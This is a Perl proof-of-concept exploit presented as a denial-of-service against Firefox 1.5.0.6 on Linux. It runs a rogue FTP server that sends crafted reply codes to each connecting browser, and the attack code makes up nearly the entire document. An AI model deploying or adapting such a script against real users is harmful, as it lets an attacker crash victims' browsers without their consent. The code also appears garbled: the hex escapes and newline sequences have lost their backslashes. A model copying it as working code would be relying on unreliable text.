(exploit) firefox 1.5.0.6 linux DoS

#!/usr/bin/perl
#author: tomas kempinsky

use strict;
use Socket;

my $port = shift || 2121;
my $proto = getprotobyname('tcp');
my $payload =
"x32x32x30x20x5ax0dx0ax33".
"x33x31x20x5ax0dx0ax35x30".
"x30x20x44x6fx53x0dx0ax35".
"x30x30x20x5ax0dx0a";

socket(SERVER, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, 1) or die "setsock: $!";

my $paddr = sockaddr_in($port, INADDR_ANY);

bind(SERVER, $paddr) or die "bind: $!";
listen(SERVER, SOMAXCONN) or die "listen: $!";
print "ftp://D:oS@x0localhost:2121/n";

my $client_addr;
while ($client_addr = accept(CLIENT, SERVER)) {
        # find out who connected
        my ($client_port, $client_ip) = sockaddr_in($client_addr);
        my $client_ipnum = inet_ntoa($client_ip);
        my $client_host = gethostbyaddr($client_ip, AF_INET);
        print ": $client_host", "[$client_ipnum]n";
        # send them a message, close connection
        print CLIENT $payload;
        close CLIENT;
}

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